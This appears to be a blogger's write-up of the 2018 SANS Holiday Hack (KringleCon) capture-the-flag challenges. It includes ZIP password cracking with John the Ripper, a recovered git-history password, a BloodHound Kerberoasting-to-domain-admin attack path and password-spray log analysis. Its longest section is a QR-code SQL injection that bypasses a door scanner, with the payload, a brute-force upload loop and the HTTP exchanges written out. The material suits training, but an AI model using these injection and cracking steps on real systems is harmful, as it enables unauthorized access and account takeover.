elf@b08c86087276:~$.;;;;;;;;;;;;;;;' ,NWOkkkkkkkkkkkkkkNN; ..KM; Stall Mucking ,MN.. OMNXNMd. .oMWXXM0. ;MO l0NNNNNNNNNNNNNNN0o xMc :MO xMl '. :MO dOOOOOOOOOOOOOOOOOd. xMl :l:. .cc::::::::;;;;;;;;;;;,oMO .0NNNNNNNNNNNNNNNNN0. xMd,,,,,,,,,,,,,clll:. 'kkkkxxxxxddddddoooooooxMO ..'''''''''''. xMkcccccccllllllllllooc. 'kkkkxxxxxddddddoooooooxMO .MMMMMMMMMMMMMM, xMkcccccccllllllllllooool 'kkkkxxxxxddddddoooooooxMO '::::::::::::, xMkcccccccllllllllllool, .ooooollllllccccccccc::dMO xMx;;;;;::::::::lllll' :MO .ONNNNNNNNXk xMl :lc' :MO dOOOOOOOOOo xMl ;. :MO 'cccccccccccccc:' xMl :MO .WMMMMMMMMMMMMMMMW. xMl :MO ............... xMl .NWxddddddddddddddddddddddddNW' ;ccccccccccccccccccccccccc; You have found the credentials I just had forgot, And in doing so you've saved me trouble untold. Going forward we'll leave behind policies old, Building separate accounts for each elf in the lot. -Wunorse Openslae  Wise words, Wunorse. ### North Pole Git Repository We're supposed to recover an encrypted ZIP file from the North Pole Git repository. Let's clone it, and investigate a little bit: $ git clone https://git.kringlecastle.com/Upatree/santas_castle_automation
Clonage dans 'santas_castle_automation'...
warning: redirection vers https://git.kringlecastle.com/Upatree/santas_castle_automation.git/
remote: Enumerating objects: 949, done.
remote: Counting objects: 100% (949/949), done.
remote: Compressing objects: 100% (545/545), done.
remote: Total 949 (delta 258), reused 879 (delta 205)
Réception d'objets: 100% (949/949), 4.27 MiB | 5.85 MiB/s, fait.
Résolution des deltas: 100% (258/258), fait.
$cd santas_castle_automation$ find . -name '*.zip'
./schematics/ventilation_diagram.zip


Alright, we have found our ZIP file. Let's try to crack the password, it worked on previous challenges. To do so, we'll use JohnTheRipper. To be sure that you can crack password-protected ZIP files with JohnTheRIpper, make sure that you install zlib, otherwise it's not supported (got quite a few headaches because of this).

$zip2john ./schematics/ventilation_diagram.zip > ventilation_diagram_hash.txt ventilation_diagram.zip/ventilation_diagram/ is not encrypted! ver 1.0 ./schematics/ventilation_diagram.zip/ventilation_diagram/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 ventilation_diagram.zip/ventilation_diagram/ventilation_diagram_2F.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=366995, decmplen=415586, crc=ACFD98A7 ver 2.0 efh 5455 efh 7875 ventilation_diagram.zip/ventilation_diagram/ventilation_diagram_1F.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=372752, decmplen=421604, crc=8E23EC48 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/md5decryptor.uk.txt ./ventilation_diagram_hash.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-01-01 22:53) 0g/s 14259Kp/s 14259Kc/s 14259KC/s 23248758..wzpxg1kn
Session completed


Hmm, john was unable to crack our hash. I tried several wordlists, but to no avail. In most challenges, if there's a password cracking question, the password will most likely be in common wordlists or leaked databases. So, let's try something else.

A Git repository can be very resourceful. Indeed, we have access to the files and the history of modifications, commits, and such. It worked in a previous SANS Christmas challenge. So, let's give it a try here:

$git log -p | grep -i password [snip] -Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference. -Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did! -Hopefully this is the last time we have to change our password again until next Christmas. -Password = 'Yippee-ki-yay' [snip]  Alright! We seem to have found our password. Let's try it: $ unzip -d ventilation_diagram -P Yippee-ki-yay ./schematics/ventilation_diagram.zip
Archive:  ./schematics/ventilation_diagram.zip
inflating: ventilation_diagram/ventilation_diagram/ventilation_diagram_2F.jpg
inflating: ventilation_diagram/ventilation_diagram/ventilation_diagram_1F.jpg


It worked! The password is Yippee-ki-yay, and we gained access to two files, which seem to be schematics for ventilation conducts: one for the first floor (1F) and one for the second floor (2F). Maybe they'll come in handy later...

Just as we find the schematics, Hans begins his little speech:

Hans says

In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech.

Due to the North Pole’s legacy of providing coal as presents around the globe they are about to be taught a lesson in the real use of POWER.

You will be witnesses.

Now, Santa… that's a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.

I have comrades in arms around the world who are languishing in prison.

The Elvin State Department enjoys rattling its saber for its own ends. Now it can rattle it for ME.

The following people are to be released from their captors.

In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front.

In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who.

In the Land of Oz, Glinda the Good Witch.

So, Hans wants the release of the villains who tried to disrupt these past Christmases. Well, except for the Doctor, who was pardoned. We love you, Doctor!

### Holly Evergreen's Cranberry Pi Challenge

The candy striper has stopped, and we must start it again by performing the right curl command to http://localhost:8080/.

I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.
Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?
Complete this challenge by submitting the right HTTP
request to the server at http://localhost:8080/ to
get the candy striper started again. You may view
the contents of the nginx.conf file in
elf@451e98e0a27c:~$ Let's start with something simple: elf@44672f31f7a9:~$ curl http://localhost:8080/
����


Hmm, nothing useful. I took a look at /etc/nginx/sites-enabled/default (the only enabled file), but nothing interesting. I then tried to take a look at several configuration file (/etc/nginx/snippets/fastcgi-php.conf, /etc/nginx/fastcgi.conf, /etc/php/7.0/fpm/php-fpm.conf, etc.), but nothing interesting. I then realized that the prompt tells us to look at /etc/nginx/nginx.conf 🤦‍♂️. Anyway, let's take a look:

elf@44672f31f7a9:/etc/nginx$cat nginx.conf user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { [snip] server { # love using the new stuff! -Bushy listen 8080 http2; # server_name localhost 127.0.0.1; root /var/www/html; location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$; if (!-f$document_root$fastcgi_script_name) { return 404; } # Mitigate https://httpoxy.org/ vulnerabilities fastcgi_param HTTP_PROXY ""; # SCRIPT_FILENAME parameter is used for PHP FPM determining # fastcgi_pass 127.0.0.1:9000; fastcgi_pass unix:/var/run/php/php-fpm.sock; fastcgi_index index.php; # include the fastcgi_param setting include fastcgi_params; # SCRIPT_FILENAME parameter is used for PHP FPM determining # the script name. If it is not set in fastcgi_params file, # i.e. /etc/nginx/fastcgi_params or in the parent contexts, # please comment off following line: # fastcgi_param SCRIPT_FILENAME$document_root$fastcgi_script_name; } } [snip]  Ah! The webserver is configured to use HTTP/2. We take a look at curl's man page, and we find the --http2 option. Let's try it: elf@44672f31f7a9:/etc/nginx$ curl --http2 http://localhost:8080/
����


Hmm, same result as before. I then tried several options, regarding the compression, and other stuff, but it didn't work. Out of frustration, I tried another HTTP/2 option, to wit --http2-prior-knowledge:

elf@44672f31f7a9:/etc/nginx$curl --http2-prior-knowledge http://localhost:8080/ <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" </body> </html>  Wow, it worked. I couldn't believe it. Let's take a closer look at what this options does:  --http2-prior-knowledge (HTTP) Tells curl to issue its non-TLS HTTP requests using HTTP/2 without HTTP/1.1 Upgrade. It requires prior knowledge that the server supports HTTP/2 straight away. HTTPS requests will still do HTTP/2 the standard way with negotiated protocol version in the TLS handshake. Apparently, it's used when you know that the server is using HTTP/2, and you contact it in plain text, and you don't want to rely on the HTTP/1.1 to HTTP/2 upgrade. This is exactly our use-case. Anyway, the server tells us to perform a POST request, with status=on. This can be done with curl with the -d option: elf@451e98e0a27c:~$ curl --http2-prior-knowledge -d 'status=on' http://localhost:8080/
<html>
<title>Candy Striper Turner-On'er</title>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"

okkd,
OXXXXX,
oXXXXXXo
;XXXXXXX;
;KXXXXXXx
oXXXXXXXO
.lKXXXXXXX0.
''''''       .''''''       .''''''       .:::;   ':okKXXXXXXXX0Oxcooddool,
'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX.
'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d;
'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x.
'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX:
'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;.
'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO.
'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk.
.c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc
;xKXXXXXXX0xKXXXXXXXXK.
..,:ccllc:cccccc:'

Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.
-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
</body>
</html>


And just like that, our candy striper started up!

### SANS Slingshot Linux image

We're supposed to take a look at the data set contained in this Slinghost LInux image to find how to elevate our privileges on a Active Directory environment. Let's fire up VirtualBox and start the VM. Make sure that you configure the VM to run in 64 bits, or it won't boot (I lost half an hour before figuring this out).

When the VM boots up, we get access to a Linux desktop, with a shortcut to the BloodHound tool.

This tool, created by the Specter Ops team, can be used to easily find a privilege escalation path from simple user to domain administrator:

We're asked to find a path from a Kerberoastable user to domain administrator privileges. If you want more information on Kerberoasting, here are a few resources:

Luckily, BloodHound has a query to search such a path:

If we click on it, we get this result:

Now, we're told not to rely on RDP access to determine administrative access. So let's focus on this part of the graph:

Here's the attack flow:

• LDUBEJ00320@AD.KRINGLECASTLE.COM is a Kerberoastable user, so we can recover their password (it it's weak enough).
• They're a member of the IT_00332 group. This group (and thus, so are we) is local administrator on the COMP00185 computer.
• JBETAK00084@AD.KRINGLECASTLE.COM has a session on the COMP00185 computer. Since we're local administrator on this machine, we can recover JBETAK00084's password (for example, using mimikatz)
• JBETAK00084 is a member of the domain administrator group. Since we can get their password, we can elevate our privileges to domain administrator.

Therefore, the initial user we're looking for is LDUBEJ00320@AD.KRINGLECASTLE.COM.

Things keep getting more tense:

The toy soldiers say

The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases.

Nein! Nein! Nein!

Get the over here!

Schnell!

Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."

A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, "What do you think someone could do with that?"

### Pepper Minstix' Cranberry Pi Challenge

Apparently, someone's email account was compromised, and we have to analyze logs to find out which one:

I am Pepper Minstix, and I'm looking for your help.
Bad guys have us tangled up in pepperminty kelp!
"Password spraying" is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

Here you'll find a web log filled with failure and success.
Can you help us figure out which user was attacked?
Tell us who fell victim, and please handle this with tact...

Submit the compromised webmail username to
elf@3c8eb61a4504:~$ Let's take a look at the file we have: elf@3c8eb61a4504:~$ ls -lh
total 6.8M
-rw-r--r-- 1 elf elf 1.4K Dec 14 16:13 evtx_dump.py
-rw-r--r-- 1 elf elf 1.1M Dec 14 16:13 ho-ho-no.evtx
-rwxr-xr-x 1 elf elf 5.7M Dec 14 16:13 runtoanswer


So, we have runtoanswer — once we have found who was compromised —, we have ho-ho-no.evtx — which is a Windows log extract — and we have a evtx_dump.py Python script, which parses the .evtx, and dump the result in an XML format:

elf@3c8eb61a4504:~$python evtx_dump.py ho-ho-no.evtx <?xml version="1.1" encoding="utf-8" standalone="yes" ?> <Events> <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Mi crosoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4647</EventID> <Version>0</Version> <Level>0</Level> <Task>12545</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:18:26.972103"></TimeCreated> <EventRecordID>231712</EventRecordID> <Correlation ActivityID="{fd18dc13-48f8-0001-58dc-18fdf848d401}" RelatedActivityID=""></Correla tion> <Execution ProcessID="660" ThreadID="752"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData><Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data> <Data Name="TargetUserName">Administrator</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="TargetLogonId">0x0000000000969b09</Data> </EventData> </Event> [snip]  For ease of analysis, you can download the XML file here. We're told that the attack was a password spraying attack. This means that an attacker chooses a well-known or very probable password, such as P@ssw0rd, or Winter2018, and tries to authenticate as every user with this password. This can be very efficient, because it allows to find weak accounts, without risking blocking any account. If we look at the XML log file, we can see that the attacker tried to authenticate as every user in alphabetical order, starting with aaron.smith, abhishek.kumar, etc., all the way down to vinod.kumar, wunorse.openslae. If the login didn't work, we can see that the event has an attribute <Data Name="FailureReason">. Let's try some regex magic to find which user does not have such an attribute: $ grep -E '<Data Name="TargetUserName">[a-z.]+</Data>|<Data Name="FailureReason">%%2313</Data>' ho-ho-no.xml # We only target users with lower-case username
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
[snip]
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>
<Data Name="FailureReason">%%2313</Data>


We can see that minty.candycane does not have a FailureReason after her login event. This means that the password spraying attack worked against her account. She's the account we're looking for:

elf@230a1d67fee6:~$./runtoanswer Loading, please wait...... Whose account was successfully accessed by the attacker's password spray? minty.candycane MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM NM M NMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMW KWMMNK KWMMNK KMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM NMMM MMM WMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMW K NMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMN MMMMMMMMMMMWK KWMMMMMMMMMMM WMMMMMMMMMMMM MMMMMMWK MMM MMMMMMMMMMMMMMM NMMMMMMMMMMMMMMM KMMWKKWMMMMMM MMMMMM KMM MMMMMMMMMMMMN KNM MN WMMMMMMMMMMMM KMM MMMMMM M KMM MMMMMMMMMMMM MMMMMMMMMMMM KMM M MMN MM MMMMMMMMMMMMMN KWMMMMMMMMMMMMM KMM NMM MW MMN MMMMMWMMMMW MMMMWWMMMMW WMM KMM M KWMN NMK MMMN NM M MMM NM NMNK M MMWWMMW WMM WMM NMMMNWMM MMMN NMMW NMK N KK WM KMMW KWMMM MM KWMMMM MMMM MMMN MMMMWK KMM MMW KNMMMMMMMMK WMMMW NMM MW MMMMWK MMMMMMMM KWMM MMMMMMMMMMMMMMMMMMMW KWMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMW WMMMMN WMMMMN MMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMN K K KWMMMMMMMMMMMMMMMMMMM MMWKKWMMMMMMMMK MMMMW MM MWK KWMMMW MMMMMMMMNKKMMM MM WMMMM MMMM MMMN MMMMWK KMM MMMN NMMW NMK NK KK WM KWMM NMMM MMWWMMWK WMM WMM MMMWMMM M WMN NMK MMMN M W MMM NM WMWK M MW MMN MMMMMNMMMMM MMMMWNMMMMW WMM KWM MMN MM MMMMMMMMMMMMMNK KWMMMMMMMMMMMMM KMM KWMM M KMM MMMMMMMMMMMM MMMMMMMMMMMM KMM K M MWWMMM KMM MMMMMMMMMMMM M W NMMMMMMMMMMMM KMM MMMWMM MMMMMMNKKMMM MMMMMMMMMMMMMMMN KWMMMMMMMMMMMMMMM KMMWKKWMMMMMM MMMMMMMMMMMM MMMMMMMMMMMWK MMMMMMMMMMMM WMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMM NMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM MMM MMW WMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMW KWMMWK WMMN KMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMM M WK NMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Silly Minty Candycane, well this is what she gets. "Winter2018" isn't for The Internets. Passwords formed with season-year are on the hackers' list. Maybe we should look at guidance published by the NIST? Congratulations!  To solve this challenge, we can also be a bit fancy, and use a Python script to parse the XML file: #!/usr/bin/env python3 import sys from bs4 import BeautifulSoup import datetime def main(): if len(sys.argv) != 2: print('Usage: {} <xml_event_file>'.format(sys.argv[0])) sys.exit(1) # This set will hold every user without a FailureReason attribute user_set_with_no_failure = set() # The date of the spray attack was determined manually, by looking at the # date of the attack against aaron.smith spray_attack_beginning = datetime.datetime.strptime('2018-09-10 13:03:33', '%Y-%m-%d %H:%M:%S') # We open and parse the file with open(sys.argv[1], 'r') as f: soup = BeautifulSoup(f.read(), 'lxml') for evt in soup.events.find_all('event'): # We check the date of every event. # If it's before the attack, we don't look at it event_time = evt.system.timecreated.get('systemtime').split('.')[0] event_time = datetime.datetime.strptime(event_time, '%Y-%m-%d %H:%M:%S') if event_time < spray_attack_beginning: continue else: evt_data = evt.eventdata # If there's no failure reason, we add our user to our result set. if not evt_data.find_all(attrs={'name': 'FailureReason'}): for user in evt_data.find_all(attrs={'name': 'TargetUserName'}): user_set_with_no_failure.add(user.string.replace('@EM.KRINGLECON.COM', '')) # We print our result set print('\n'.join(user_set_with_no_failure)) if __name__ == '__main__': main()  $ ./parse_xml.py ./ho-ho-no.xml
HealthMailboxbe58608
HealthMailboxbe58608d4925422d8e4ea458cfedc612
SYSTEM
WIN-KCON-EXCH16$HealthMailboxbab78a6 wunorse.openslae minty.candycane  Along with some users we don't care about, the script gives us minty.candycane and wunorse.openslae. With some manual analysis of the XML file, we can determine that the right user is minty.candycane. ### Bypassing the door authentication mechanism #### The "haXXor" way We want to open the door next to Pepper Minstix, but we need a badge to do so. The door needs to scan a QR code. It can do so by using your webcam (you then need to click on the fingerprint reader), or you can upload a QR code image using the USB dongle. Luckily for us, Alabaster Snowball lost his badge, and we managed to get our hands on it: If we try to scan this badge, we're told that the user was disabled. Probably because the badge was lost. POST /upload HTTP/1.1 Host: scanomatic.kringlecastle.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://scanomatic.kringlecastle.com/index.html X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------5162445520959346741824970383 Content-Length: 153774 Connection: close Cookie: resource_id=false -----------------------------5162445520959346741824970383 Content-Disposition: form-data; name="barcode"; filename="alabaster_badge.png" Content-Type: image/png PNG [snip, content of the PNG file] -----------------------------5162445520959346741824970383  HTTP/1.1 200 OK Server: nginx/1.10.3 Date: Thu, 03 Jan 2019 12:57:34 GMT Content-Type: application/json Content-Length: 70 Connection: close {"data":"Authorized User Account Has Been Disabled!","request":false}  So, we need to create our own badge. If we scan Alabaster's badge with a QR code reader, we get oRfjg5uGHmbduj2m. And this is where I lost sooooo much time. For the purpose of completeness, let's see all of my dead ends, yay! If you just want the solution, feel free to jump directly to it. ##### All the dead ends, yay! The QR-encoded message looks like a base64-encoded string. Let's decode it: $ echo -n oRfjg5uGHmbduj2m | base64 -d | hexdump -C
00000000  a1 17 e3 83 9b 86 1e 66  dd ba 3d a6              |.......f..=.|
0000000c


This gives us a 12 byte identifier, 0xa117e3839b861e66ddba3da6. My first idea was that, since we have to bypass authentication, let's try a SQL injection in this id. However, I thought that, since the id seemed to be base64-encoded, I'd have to base64-encode my payload. Let's generate a QR code with our SQL injection payload. I'm using the qrtools Python library:

>>> import qrtools
>>> import base64
>>> qr = qrtools.QR()
>>> qr.data = base64.b64encode('foo"\'#;-- ')
>>> qr.encode('sqli_detection.png')


I'm first trying a simple payload, which just tries to break the SQL syntax.

However, it did not work:

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://scanomatic.kringlecastle.com/index.html
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------49127043815591531222123518543
Content-Length: 580
Connection: close

-----------------------------49127043815591531222123518543
Content-Disposition: form-data; name="barcode"; filename="sqli_detection.png"
Content-Type: image/png

PNG [snip]
-----------------------------49127043815591531222123518543

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Jan 2019 13:09:43 GMT
Content-Type: application/json
Content-Length: 61
Connection: close

{"data":"No Authorized User Account Found!","request":false}


Hmm, it did not work. Our payload should have broken the SQL syntax. Instead, we got a message saying that the provided user id does not exists. I then thought that maybe we had to find a valid, active user id. I decided to try bruteforcing the id close to Alabaster's id, to find an active, existing user:

>>> for i in xrange(1000):
...     for j in xrange(2):
...             user_id = 0xa117e3839b861e66ddba3da6 + i*(-1)**j
...             qr.data = base64.b64encode(format(user_id, '02X').decode('hex'))
...             qr.encode('id_bruteforce/{}.png'.format(user_id))
...


Bam! 2000 QR codes. Let's use curl to upload them all:

$cd id_bruteforce$ ls -1 | while read f; do echo $f; curl -b 'resource_id=false' -F "barcode=@$f" https://scanomatic.kringlecastle.com/upload > ./results/$f.txt& done  I'll spare you the suspense, it did not work. I always got the same message, No Authorized User Account Found!. I also noticed that the id seemed to be case insensitive. For example, Alabaster's id, sent as oRfjg5uGHmbduj2m or oRfjg5uGHmbduj2M gave the same message, Authorized User Account Has Been Disabled!. I then tried bruteforcing the base64 message itself. I mean, a 16 character string, with only lower case letters and numbers (I decided to ignore symbols) is still 83 bits of entropy, but I was desperate. Needless to say, it did not work. I then decided to attack the webserver directly by sending malformed images: POST /upload HTTP/1.1 Host: scanomatic.kringlecastle.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://scanomatic.kringlecastle.com/index.html X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------49127043815591531222123518543 Content-Length: 219 Connection: close Cookie: resource_id=false -----------------------------49127043815591531222123518543 Content-Disposition: form-data; name="barcode"; filename="empty.png" Content-Type: image/png -----------------------------49127043815591531222123518543--  HTTP/1.1 200 OK Server: nginx/1.10.3 Date: Thu, 03 Jan 2019 13:31:50 GMT Content-Type: application/json Content-Length: 124 Connection: close {"data":"EXCEPTION AT (LINE 151 \"qr.decode(full_path)\"): cannot identify image file 'uploads/empty.png'","request":false}  Finally! An error message with a partial path disclosure. I then thought that it might be an upload vulnerability with a race condition, that I had to upload a file and access it via https://scanomatic.kringlecastle.com/uploads/my_evil_file before it's deleted, but this was another dead-end. ##### The right solution I almost gave up and checked the clue given by Pepper Minstix, but I first decided to try one last thing: send a random string that I would QR-encode: >>> import string >>> import random >>> random_payload = ''.join(random.choice(string.printable) for x in xrange(2000)) >>> qr.data = random_payload >>> qr.encode('qr_random.png')  Here's the image that saved me: I uploaded it, and fot the following error message: HTTP/1.1 200 OK Server: nginx/1.10.3 Date: Thu, 03 Jan 2019 13:37:14 GMT Content-Type: application/json Content-Length: 433 Connection: close {"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'G7M]aa-!EcgKBlTx0&<50Y&\\rV'CEB@ZbfO2Z~HkVC5=lH6>!bSl^L~9(}Lh;T^-PXCShXg{ik3H%_ A\\x0c' at line 1\")","request":false}  Hurray! A SQL error message, which gives us the full syntax. So there was indeed a SQL injection, however I shouldn't have base64-encoded it. So here's the request: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '<id_goes_here>' LIMIT 1  Seems like your basic SQL injection, let's generate a paylaod that will select the first enabled user: >>> qr.data = "foo' OR 1=1 AND enabled='1" >>> qr.encode('qr_sqli.png')  With this payload, the SQL request will become: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'foo' OR 1=1 AND enabled='1' LIMIT 1  This should return the first enabled user that is authorized to open the door. Let's scan our evil QR code: POST /upload HTTP/1.1 Host: scanomatic.kringlecastle.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://scanomatic.kringlecastle.com/index.html X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------242929957373414110176704857 Content-Length: 560 Connection: close Cookie: resource_id=false -----------------------------242929957373414110176704857 Content-Disposition: form-data; name="barcode"; filename="qr_sqli.png" Content-Type: image/png PNG [snip] -----------------------------242929957373414110176704857  HTTP/1.1 200 OK Server: nginx/1.10.3 Date: Thu, 03 Jan 2019 13:42:19 GMT Content-Type: application/json Content-Length: 179 Connection: close {"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"ff60055a84873cd7d75ce86cfaebd971ab90c86ff72d976ede0f5f04795e99eb","resourceId":"false"}}  We get the control number, which is 19880715. #### The "John McClane" way If you remember, we found schematics for the ventilation conducts in the North Pole Git Repository. And it just so happens that next to Google's booth, there is a ventilation conduct: If you go inside, you can navigate the maze that is the ventilation conduct. But we have a map! We can follow the schematics we found earlier. This allows us to bypass the authentication door: ## HR Incident Response Hans reveals his true plan: Hans says So, you’ve figured out my plan – it’s not about freeing those prisoners. The toy soldiers and I are here to steal the contents of Santa’s vault! You think that after all my posturing, all my little speeches, that I’m nothing but a common thief. But, I tell you -- I am an exceptional thief. And since I've moved up to kidnapping all of you, you should be more polite! ### Sparkle Redberry's Cranberry Pi Challenge Sparkle Redberry committed her password to the local git repository. We have to recover the password:  .0. .:llOXKllc. .OXXXK, '0l'cOc ..';'.. .';::::::'. .':::::::::::::,. .'::loc::::::::::::::,. .'::::oMMNc::::::::::::::::,. .,;;,,,,:dxl:::::::,,,:::;,,,,,,. .,' ..;:::::::::::;,;::::,. .';::::::::::::::::::::dOxc,. .';:::::::::okd::::::::::cXMWd:::,. .';:::::::::::cNMMo:::::::::::lc:::::::,. .'::::::::::::::::col::::::::::::;:::::::::::,. .;:::,,,:::::::::::::::::;,,,:::::'. .'::::::;;;:::::::::::dko:::::;::::::::;. .,::::::::::::::::::::::lWMWc::::::::::::::::;. ..:00:...;::::loc:::::::::coc::::::::::::'.;;..... :NNl.,:::::xMMX:::::::::::::::::::::::::;,,. .,::::::::cxxl::::,,,:::::::::::::::::::::;. .,:::::::c:::::::::::;;;:::::::;;:::::kNXd::::::;. .,::::::::cKMNo::::::::::::::::::;,,;::::xKKo:::::::::;. .'''''',:::::x0Oc:::::::::oOOo:::::::::::::::::::::;'''''''. 